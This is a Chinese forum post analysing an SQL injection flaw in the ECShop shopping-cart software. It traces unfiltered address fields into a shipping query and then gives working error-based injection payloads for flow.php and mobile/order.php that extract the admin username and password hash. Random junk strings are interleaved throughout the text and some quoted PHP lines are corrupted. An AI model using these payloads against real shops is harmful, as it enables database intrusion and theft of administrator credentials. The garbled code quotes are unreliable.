找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1933|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。4 ~+ X% G- K5 H$ i2 O& g, O; }

( m$ e! m1 Q* w2 c    漏洞关键文件:
1 @8 ?2 m, C9 f/ D* h6 g
1 G) x& Y& Q0 [' y  c+ y, i; S, B0 o    /includes/lib_order.php
" m, S6 y2 \0 |* b0 f7 c8 C
- j# v3 V7 Y2 m. l9 D2 S1 o    关键函数:
; S; P8 K: l1 p; d/ M* R1 _  [) r
% J+ x7 W4 Y& v5 W6 h
, h+ a& \2 k( m" w2 C" p, O  O7 V& w3 g2 C  L
01     function available_shipping_list($region_id_list)
2 W0 {$ \# V8 _2 {4 t) o
/ S' j9 e& m% |* C' z02 {
2 w7 @! B  D/ k7 b0 q2 w: A
3 t5 E) M3 O% f: j03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . . W: c! a3 q6 N
9 |# m$ C9 h. p, u$ `
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .   v- \4 A! }+ d6 @5 e' R
6 t. M* e0 i- W/ y
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 7 s$ A1 ]* {. W, b4 \# X. R

2 S9 A/ V0 [2 t06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
  s. D3 _  B4 T3 S% z
( e# I, q0 B7 ]1 b' p, I# Q+ A8 O07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. . l/ f  `' T; {$ i2 I( F

8 v* d' o7 k- ?08             'WHERE r.region_id ' . db_create_in($region_id_list) . . y" H) R& y+ y8 B  C" B% v. h3 c
+ ~$ J! z9 k2 v' L2 w( s
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; % h& u0 k9 A0 _) ]! x) n9 h
, {$ `9 R3 N; z% d5 u1 B
10   # V* D. g: g2 [( p2 m. F5 R

3 j* \0 k8 i* Q- l. p" ?* F11     return $GLOBALS['db']->getAll($sql);
! P; r2 K+ a4 q( w' T4 w  B- \- E8 k; W! w: E& P/ P% T) u. [, M
12 } 6 z6 L* G5 i3 k1 ~7 P; {4 J

7 r* b  d# W0 y显然对传入的参数没有任何过滤就带入了查询语句。
3 S  R6 x$ |. T
0 [. Z- V" L- ?下面我们追踪这个函数在flow.php中:# I% T7 f  p* t$ L! J! L* o
第531行:   3 S' v; b2 D! h  @. ^. a
9 l" i" A4 t% E1 W, h6 u9 r* h
1 $shipping_list     = available_shipping_list($region); 2 C* P2 r1 {" C, [/ j7 x3 z. }
# H1 b6 A3 L) f  S+ r' B) A

9 o0 i* z. M- p: P' K# G8 F  E# D! S0 e- T1 f6 R
/ O1 Q) \$ z. I2 q! c

& H& ?+ v0 u6 q1 H- P+ N0 q再对传入变量进行追踪:. W: z" T# O8 i  U$ U2 t# N
4 i4 L) t& p% ~0 i
第530行:   
/ q  g; e+ F  O  }1 T3 |$ M1 I. d+ v' r8 @6 o2 R& H
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); ; q' u' \% w5 u) r

/ h- {. U" M! F3 D : a2 d" W6 I) v( w; H
) z4 F; S0 U7 u, L/ ^6 L: J
, }: F+ Y2 K( R
8 R9 X% w+ o3 l- P3 o7 j) m6 H1 b
第473行:        
9 k$ \6 ?- ~3 X* r" W) t, Q
' ]% t3 d& @7 ?0 G/ k1 $consignee = get_consignee($_SESSION['user_id']);
( ]* z$ \! l0 a' h: ^
- J* G  k% o6 ^4 [; ^到了一个关键函数:/ l0 x$ R* c& ]2 z" I% H0 h

+ [% B8 M& L1 _/includes/lib_order.php, B* g. U3 Q. o/ `& b+ F0 @* A
6 i1 {5 _  X  d9 y6 a2 A  m% P
$ |; v- r2 E+ a; r; \* {# W! S8 {
, C8 `: S1 o8 c

8 Y  e) l9 i; Z" d% ^/ }& Z8 W1 z
; G) m% x, m0 }8 ~4 p! g3 h01 function get_consignee($user_id) * o; x* o+ `/ ?2 X0 t
" a) t: U# e- v. \
02 { . s3 z0 u! ~/ m  A
* t! J! y1 {0 \' N, `8 k/ o& c* r/ y
03     if (isset($_SESSION['flow_consignee'])) ' [% e: z$ G! L0 O8 V0 H
% x$ [7 P) @1 ~4 h. Z8 l
04     { 7 v6 G0 `" S0 J/ `/ V3 x0 }
* l6 P8 J4 {6 D" `$ ?8 v
05         /* 如果存在session,则直接返回session中的收货人信息 */
% n7 g6 C' ?3 l$ p7 n4 j; j  b, M3 Z6 F" O: m) M: N* @
06   0 {( S2 V& ?' W# y6 J& h

' D5 B  n7 o- L$ E07         return $_SESSION['flow_consignee'];
7 u$ h) {# [0 h( P' ^) @. O" Q  f- O0 L3 r9 N, k* W$ m0 N
08     } 2 t# h8 v7 |  l+ u6 V

  L3 ?( K( `& F# O. i. O$ H09     else   V, h8 z7 n0 ]% y3 n# v

  s- ^* m  s) J) [3 g& y8 z4 O2 j10     {
/ D5 i- i: X$ M: j1 F% W9 ~' ^' P- }; L7 \% [; M
11         /* 如果不存在,则取得用户的默认收货人信息 */ ! Q; ~  a  j( H/ G3 q6 \, H' H

, d& E4 t6 U6 \2 y" k# @& Q12         $arr = array();
! W. t+ l) Q; S* @5 o5 u# z7 l7 Y4 x6 z
13   
5 t( T' @+ s- N0 c; O  s5 Y% w. J. h. V* G; o/ b" {- \
14         if ($user_id > 0) 3 ~% x) s  y5 d6 g; a

' [; Z3 ^4 i: @/ y* ^15         {
( \9 N8 `! q! i) n) C' n
, T6 ^: P3 ~! e/ ]% [) d( j16             /* 取默认地址 */ + u& z+ S8 V& q9 b6 k5 d; g8 v

) G" d! O, \1 |17             $sql = "SELECT ua.*". # k1 w& K! Y7 g% U; _
1 ?1 ~, P) I" W( Y3 z1 P8 X6 |
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
$ G7 W4 E# u1 R6 L; K: [
9 i% q- T. ~9 @& P19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 7 W$ j+ `" ?% ]3 s/ [9 X! E

& S9 T9 [, b9 V  w' }1 C20   
8 d! q4 v2 g+ Q! \1 w4 S2 s% h- @+ |
21             $arr = $GLOBALS['db']->getRow($sql);
/ ]$ E* a+ F. i/ H
# ~' \! U( L- q3 p22         } / n: s" e; v) E8 p$ u7 g* h' D
3 W* o+ x/ c3 V4 I
23   
+ E* u2 x, b5 |# N6 t
6 r8 @4 G# C7 M, n# U$ F; E3 H3 }24         return $arr; + k; W$ x' q3 G; j

3 G7 h# t: i! I- v25     } 1 l' H$ R( J: h  _

! u4 ]2 J. }- d( U26 }
& g9 C9 C* u, e0 n& @! o0 J4 b! [/ k6 l
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
# z$ ~6 a. Q6 |9 Z
5 Q% ~" W, p2 ?* O   K/ S! f& g$ w) ]- @8 ?' e

: P/ K8 P- {4 R关键点:
! F# d7 [/ E0 o: Q
, I( w( ?* F6 V  j7 X第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);# [; v( a4 R; j

+ @8 M/ H" ]" e4 P( X5 Q' P$ {4 s这里对传入参数反转义存入$_SESSION中。- ~3 g2 `2 q  y) r; q) m

& d, k0 w( g; B8 M* d
1 l" P  R) j; e3 @" W: v" \
% _* b. V& Q8 U" ~/ _然后看下:/ }% m' L' U: w9 s; A  b# v: j
6 P+ M7 b# Q6 {
% }4 a+ O8 [) ]4 v6 Z! S7 T- ^

: N! M, l: i. q9 |- Z& X) x; E* w   
. v6 G! y, l% l; N+ O2 v
4 s! L1 X4 d, T& L4 w01 $consignee = array(
" ^0 D9 c5 T& v5 b2 o. ]" \! o+ f' l3 u; i3 c& x; p2 c
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
5 }6 s4 ?* V: r
# L1 C) W$ h% ^$ n: m03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
0 T4 j, a9 U' W' R
7 ~% C. ], n$ q. \: o! ?04         'country'       => empty($_POST['country'])    ? '' _POST['country'], 0 o* Z$ b: ~4 x& P. w
4 a, V# \! z3 \* y. U, y1 m
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
! B6 D$ D" t/ z
8 V9 l  ]! L! W+ c06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
  o. H+ ?# F- L6 C' U. j* y0 Z. o. i  e, U# S0 J
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],   e! W- \+ A% I; L$ F1 G
" T- H7 T8 f5 k8 U
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], 2 ^1 z* U8 ?7 J$ f/ }
& [* m: W9 O+ X: A6 j0 `
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], $ R8 d# ~# N, \2 N) L# W

7 N( b' g4 ?' w! L; e- O6 T10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), 8 J8 \% E) k3 j; B1 _4 m. D
/ j. E: z6 \* K
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
/ k/ a' S5 Y) t! N' n9 I% {( |5 V% Q9 i
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
' m3 \/ J/ J4 l! p6 _9 |! y; h
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 7 r/ ~$ s& ~1 ]9 b! v7 m9 [
& t4 H0 |$ k6 V
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
- n8 d* s3 L5 K! C. j8 r2 M8 G# [9 u5 u1 I, ^
15     );
; N& t/ @9 S  t  S$ k
' _4 C0 v' B/ ~# x& {好了注入就这样出现了。
- |) @) }* a6 Z( }3 W6 J. F7 F8 ]
* v8 E# X4 W4 ^3 ~- q==================
/ X# f8 z8 r: N1 A# V4 e. @; ^/ O
注入测试:
5 m9 m" q( a% T8 Q/ |4 R3 T0 O) ?/ q
9 C, t; O) }$ g% Y5 F: W% P环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
& m" a' m& B- F* K5 V4 n: L  |4 a" v
测试程序:ECShop_V2.7.3_UTF8_release1106$ B! Q2 [" Q2 \* h3 w5 y2 @0 _
2 m5 e$ k' `8 |) L" c
7 ~4 _/ X9 ]" }
" W: {9 v- t4 I3 `3 k) D' J& n" g
1.首先需要点击一个商品加入购物车8 {2 \( e, p  M% v7 A5 S
! S: B, H) I4 O4 g' t% Q
2.注册一个会员帐号
: Y4 ?3 K& Q* S2 l$ ~! i& J' V1 |  y2 O# P1 }* e
3.post提交数据$ ^& L( A, y( P( f
* h9 B( S+ n$ \; H$ M4 |: I; w
1 L# l) w8 ]* T* c7 O" Y8 D
9 B( o" C8 d. s; p1 H
1 http://127.0.0.1/ecshop/flow.php
! X& m+ i9 @( r. v% C8 _9 S0 {) \9 N1 L  R% F, m0 j
2   
: l# ]/ l. Q$ {6 [) N! N% b0 N" e/ Q3 j3 f8 F# e
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
7 o' c( Q5 g  ?举一反三,我们根据这个漏洞我们可以继续深入挖掘:
+ ^; [* r- i  i9 C9 ^& d  c+ a
- k: p6 k# I3 e: I4 d. T$ p" N) T6 J7 ?我们搜寻关键函数function available_shipping_list()# @! U5 H0 g( J4 z
, z, L& X: V2 R4 H- {' {5 o- q( n
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
- d  Z: h+ q9 n: d( j1 p
, {7 ?, w" Z; a# S+ i利用exp:2 v. x( }3 K) ^. g

9 |0 K7 @- U4 G0 j5 P1.点击一个商品,点击购买商标
! y  Z: [9 I% w  v1 P# `$ x: p
# ^  P+ Y  E/ P0 F/ T9 }" e2.登录会员帐号
, I: }; {5 ?4 D! e$ |
& n$ H1 c, ]( l* e7 ~- w3.post提交:
) C1 j0 K' z2 c) y7 L  z
* p* x3 l- M6 O$ yhttp://127.0.0.1/ecshop/mobile/order.php
; W/ H6 o' d( H6 e0 ?# }
: N- l( R* O9 V9 p9 | 6 x; I6 ^) Y- F4 g
, u3 W8 A* H4 @
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
, H4 O, w5 I8 e0 _3 y# ]* W6 q. m( s3 m: |& x3 K- |0 I5 L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表